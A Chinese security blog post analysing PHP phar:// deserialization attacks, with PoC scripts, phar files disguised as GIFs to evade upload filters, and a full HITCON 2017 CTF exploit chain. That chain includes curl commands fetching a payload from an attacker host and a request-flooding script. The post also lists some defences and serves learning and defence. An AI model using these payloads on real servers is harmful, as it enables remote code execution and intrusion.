phar扩展php反序列化的攻击面

前言

之前学校的seaii表哥在404发了一篇paper——利用 phar 拓展 php 反序列化漏洞攻击面

分析了php反序列与phar的结合,大大拓展了反序列化的攻击面,我也重新审视这个漏洞,发现真的很有意思,并且有较大的杀伤力。之前分析过了php反序列化与POP链,本文就主要分析一下如何利用phar来扩展php反序列化的攻击面,并从源码角度来看一下为什么很多文件操作函数可以触发phar的反序列化。(另外膜拜一下seaii哥,啥时候能像seaii哥这么优秀啊。。。)

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。该方法在文件系统函数file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

phar文件结构

详细的文件结构这一查看php文档——What makes a phar a phar and not a tar or a zip?

a stub

可以理解为一个标志,phar前面内容不限,但必须以__HALT_COMPILER();来结尾(?>可以省略也可以包含),否则phar扩展将无法识别这个文件为phar文件。

a manifest describing the contents(一个描述内容的清单)

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

Size in bytes Description
4 bytes phar清单的长度(以字节为单位)(1 MB limit)
4 bytes Phar中的文件数
2 bytes Phar清单的API版本 (currently 1.0.0)
4 bytes 全局的phar位示图标志
4 bytes phar的别名长度
?? phar的位示图长度
4 bytes phar元数据长度(0表示无)
?? 序列化的phar元数据,以**serialize()**格式存储
只要24*条目字节数 每个文件的条目

the file contents

被压缩文件的内容

[可选] 验证phar完整性的签名

签名,放在文件末尾,格式如下:

Length in bytes Description
16 or 20 bytes 实际签名,SHA1签名为20字节,MD5签名为16字节,SHA256签名为32字节,SHA512签名为64字节。
4 bytes 签名标志. 0x0001 用于表示是 MD5 签名, 0x0002 用来表示是 SHA1 签名, 0x0004 用来表示是SHA256签名, 0x0008用来表示是SHA512签名。 API版本1.1.0引入了SHA256和SHA512签名支持。
4 bytes Magic GBMB 用于定义签名的存在

构造一个phar文件

phar文件

根据文件结构,自己来构造一个phar文件,php内置了一个phar类处理的相关操作。

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

phar.php

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
//__HALT_COMPILER(); 也是可以的
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

meta-data是用反序列化形式存储的。

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

受影响的函数列表
filename filectime
(获取文件的inode更改时间)
file_exists file_get_contents
file_put_contents file filegroup
(获取文件的组名)
fopen
fileinode
(获取文件inode)
filemtime
(获取文件的修改时间)
fileowner fileperms
(获取文件权限)
is_dir is_executable is_file is_link
(判断文件名是否为符号链接)
is_readable is_writable is_writeable parse_ini_file
(解析配置文件)
copy unlink stat
(获取文件相关信息)
readfile
(输入文件内容)

试一下,文件操作函数,能否自动对其进行反序列化:

test.php

<?php 
class TestObject {
public function __destruct() {
echo "Destruct called\n";
}

public function __wakeup(){
echo "wakeup called\n";
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
//file_exists($filename);
//file($filename);
?>

于是当文件系统函数的参数可控时,我们可以在不调用unserize()的情况下,进行反序列化操作,许多的文件函数都可以触发,极大地拓展了攻击面。

注意:

对于一个前后调用多个file函数的phar文件,只会反序列化一次。

比如,将上述代码注释去掉,也是只有file_get_contents会反序列一次phar,后续的文件处理函数,都会基于之前反序列化完成的文件进行操作。(调用堆栈也可以说明这一点。)

将phar在伪造成其他文件

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

phar2.php

<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

并且,即使将文件名修改掉,用test.php测试发现仍然可以识别为phar,执行wakeup和destrcut。

这样可以绕过大部分的上传waf。

实际利用

利用条件

结合之前所说的,利用条件有三:

  1. phar文件可以上传到服务器
  2. 要有魔术方法作为“跳板”
  3. 文件操作函数的参数可控,且:/phar等字符没有过滤。

先从一个简单的例子开始

这里用Smi1e师傅写的一个简单的例子:

upload_file.php后端检测文件上传,文件类型是否为gif,文件后缀名是否为gif

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>

file_un.php存在file_exists(),并且存在__destruct()

<?php
$filename=$_GET['filename'];
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
file_exists($filename);

根据file_un.php写一个生成phar的php文件,在文件头加上GIF89a绕过gif,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
构造poc.php

<?php
class AnyClass{
var $output = '';
function __destruct()
{
eval($this -> output);
}
}
$phar = new Phar('upload/poc.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

当年0解的HITCON2017 Baby^H MasterPHP

用一个HITCON2017的一道题,当时php+phar第一次结合出现,而且结合匿名函数的生成机制(这一点也很难)。参赛者多数搞错了方向,所以当时是0解,原题链接

题解转载自mochazz

<?php 
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}

class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}

function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");

$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}

function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}

function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

题目的意思很明确,要我们利用 Admin 类的 __destruct 方法来获得 flag 。但是 第23行$random 变量我们无法获得,这样也就无法获得 flag ,所以我们要通过匿名类的名字来调用 flag 生成函数。

我们可以看看 create_function 函数对应的内核源码。( php-src/Zend/zend_builtin_functions.c:1901

可以看到匿名函数的名字类似于 \0lambda_%d ,其中 %d 为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。

这里,我们便要引入 apache-prefork 模型(默认模型)介绍(关于该模型的介绍,可以参考: Apache的三种MPM模式比较:prefork,worker,event )。当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

接下来我们就来找反序列化的利用点,我们很快看到 第40行 反序列化了一个可控的 $data 变量,但是上一行有一个 hash_equals 函数进行了数据校验,而 $SECRET 的值不可知,这就没法利用这一反序列化点。

接着我们会看到 第46行 有一个上传 gif 文件功能,且 $data 变量可控。那么攻击思路就是,我们先通过将构造好的 phar 文件传到服务器上,再利用可控的 $_GET[“url”] 结合 phar 协议,进行反序列化。用于生成 phar 的代码如下:

<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class User {
public $avatar;
function __construct($path) {
$this->avatar = 'avatar.gif';
}
}
class Admin extends User { }

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

将生成的 avatar.phar 放在自己的 VPS 上并重命名成 avatar.gif ,然后将文件上传到题目服务器上:

http://题目IP/index.php?m=upload&url=http://VPS_IP/

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,然后访问如下 url 即可完成反序列化并获得 flag

http://题目IP/index.php?m=upload&url=phar:///var/www/data/xxxx/&lucky=%00lambda_1

这里我们使用orange的fork.py生成大量请求:

# coding: UTF-8
# Author: orange@chroot.org
#

import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
requests.packages.urllib3.disable_warnings()
except:
pass

def run(i):
while 1:
HOST = '127.0.0.1'
PORT = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.sendall('GET /avatar.gif HTTP/1.1\nHost: localhost\nConnection: Keep-Alive\n\n')
# s.close()
print 'ok'
time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

下面给出 Orange 的解题过程

# get a cookie
$ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif
$ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process
$ python fork.py &

# get flag
$ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

从源码角度来看phar反序列化的问题

思考

其实,在看到前文那么多文件操作函数都受到phar反序列化的影响,我们会自然的思考:为什么?

  1. 很多的函数都受影响
  2. 还有部分文件操作函数未受影响(如basename,fputs等)

zsx大佬在文章——Phar与Stream Wrapper造成PHP RCE的深入挖掘 回答了我们的疑问:因为受影响的函数都使用了同样的一个接口,而未受影响的函数是因为未使用该接口。这个接口就是——wrapper

流封装协议(wrapper)

wrapper就是指封装的php协议。因为流式数据的种类各异,而每种类型需要独特的协议,以便读写数据,我们称这些协议为流封装协议。例如,我们可以读写文件系统,可以通过 HTTP、HTTPS 或 SSH 与远程 Web 服务器通信,还可以打开并读写 ZIP、RAR 或 PHAR 压缩文件

虽然过程是一样的,但是读写文件系统中文件的方式与收发 HTTP 消息的方式有所不同,流封装协议的作用是使用通用的接口封装这种差异。

每个流都有一个协议和一个目标。指定协议和目标的方法是使用流标识符:://,其中 是流的封装协议, 是流的数据源。

使用 stream_get_wrappers() 获取当前系统注册的全部 wrapper

C:\Users\DELL>php -r "var_dump(stream_get_wrappers());"
Command line code:1:
array(10) {
[0] =>
string(3) "php"
[1] =>
string(4) "file"
[2] =>
string(4) "glob"
[3] =>
string(4) "data"
[4] =>
string(4) "http"
[5] =>
string(3) "ftp"
[6] =>
string(3) "zip"
[7] =>
string(13) "compress.zlib"
[8] =>
string(14) "compress.bzip2"
[9] =>
string(4) "phar"
}

试着找问题的源头

我们需要先找到其原理,然后往下深入挖掘。
先看file_get_contents的代码。其调用了

stream = php_stream_open_wrapper_ex(filename, "rb" ....);

这么个函数。

再看unlink的代码,其调用了

wrapper = php_stream_locate_url_wrapper(filename, NULL, 0);

这么个函数。

php_stream_open_wrapper_ex实现,可以看到,其也调用了php_stream_locate_url_wrapper 。这个函数的作用是通过url来找到对应的wrapper。我们可以看到,phar组件注册了phar://这个wrapper, https://github.com/php/php-src/blob/67b4c3379a1c7f8a34522972c9cb3adf3776bc4a/ext/phar/stream.c
其定义如下:

const php_stream_wrapper_ops phar_stream_wops = {
phar_wrapper_open_url,
NULL, /* phar_wrapper_close */
NULL, /* phar_wrapper_stat, */
phar_wrapper_stat, /* stat_url */
phar_wrapper_open_dir, /* opendir */
"phar",
phar_wrapper_unlink, /* unlink */
phar_wrapper_rename, /* rename */
phar_wrapper_mkdir, /* create directory */
phar_wrapper_rmdir, /* remove directory */
NULL
};

接着,让我们翻这几个函数的实现,会发现它们都调用了phar_parse_url,这个函数再调用phar_open_or_create_filename -> phar_create_or_parse_filename -> phar_open_from_fp -> phar_parse_pharfile -> phar_parse_metadata -> phar_var_unserialize。因此,明面上来看,所有文件函数,均可以触发此phar漏洞,因为它们都直接或间接地调用了这个wrapper。

受影响的函数

这是一个所有的和IO有关的函数,都可能触发的问题。操作文件的touch,也是能触发它的。而且我们会发现除了之前所说的文件操作函数,还有很多调用wrapper都可以触发:

exif

  • exif_thumbnail
  • exif_imagetype

gd

  • imageloadfont
  • imagecreatefrom***

hash

  • hash_hmac_file
  • hash_file
  • hash_update_file
  • md5_file
  • sha1_file

file / url

  • get_meta_tags
  • get_headers
  • touch

standard

  • getimagesize
  • getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果题目限制了,phar://不能出现在头几个字符怎么办?

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
<?php
error_reporting(0);
class AnyClass{
public function __wakeup(){
echo "__wakeup called";
}
}
$filename = 'compress.zlib://phar://phar.phar/test.txt';
file_get_contents($filename);

?>

这意味着我们能在 compress.zlib:// 后面添加我们的 phar 语句,也就是说如果禁止了开头使用 phar:// 我们就能用这种方法绕过。

PDO::postgresql

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFilepg_trace同样也是能使用的,只是它们需要开启phar的写功能。

libxml

MySQL

我们注意到,LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper. 让我们测试一下。

<?php
class AnyClass {
public $output = 'okok';
public function __wakeup () {
system($this->$output);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'meimima123', 'dvwa', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');

再配置一下mysql.inimysqld

[mysqld]
local-infile=1
secure_file_priv=""

这个例子在TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain中也提到了,更加详细。

以上基本上就是phar的影响范围了,大家可以看到,影响非常的广,几乎所有用到wrapper封装的函数都可能存在这个问题。那么如何防御呢?

防御方法

  1. 在文件系统函数的参数可控时,对参数进行严格的过滤。
  2. 严格检查上传文件的内容,而不是只检查文件头。
  3. 在条件允许的情况下禁用可执行系统命令、代码的危险函数。

总结与反思

本文是在学习各位大佬对phar与反序列化的分析后,进行的总结,这里感谢@ZSX, K0rz3n, Smi1e, Mochazz, seaii等等大佬的文章,读完都感觉获益良多。这篇总结基本上也就是把各位大佬的话总结复述了一遍,很多地方甚至是直接引用的,如有侵权,烦请联系。

考完研后,感觉一年和各位大佬的差距进一步拉大了,但是花了好几天复现和学习phar与php反序列化问题,随着一步一步的深入(由浅入深,由自己会的到自己不会的内容),真的很有获得感和满足感。希望以后我也能自己写出这样一篇篇出色的文章,做一个个这样深入的分析。

参考链接

  1. 利用 phar 拓展 php 反序列化漏洞攻击面 2018/8, seaii

  2. What makes a phar a phar and not a tar or a zip?

  3. PHP反序列化入门之phar 2019/02, Mochazz(七月火)

  4. 一篇文章带你深入理解PHP反序列化漏洞 2018/11 K0rz3n

  5. Phar与Stream Wrapper造成PHP RCE的深入挖掘 2018/10 zsx

  6. php反序列化攻击拓展 , Smi1e

  7. TSec 2019 议题 PPT:Comprehensive analysis of the mysql client attack chain

文章作者: V0WKeep3r
文章链接: http://v0w.top/2020/03/12/phar-unsearise/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 V0W's Blog
支付宝打赏
微信打赏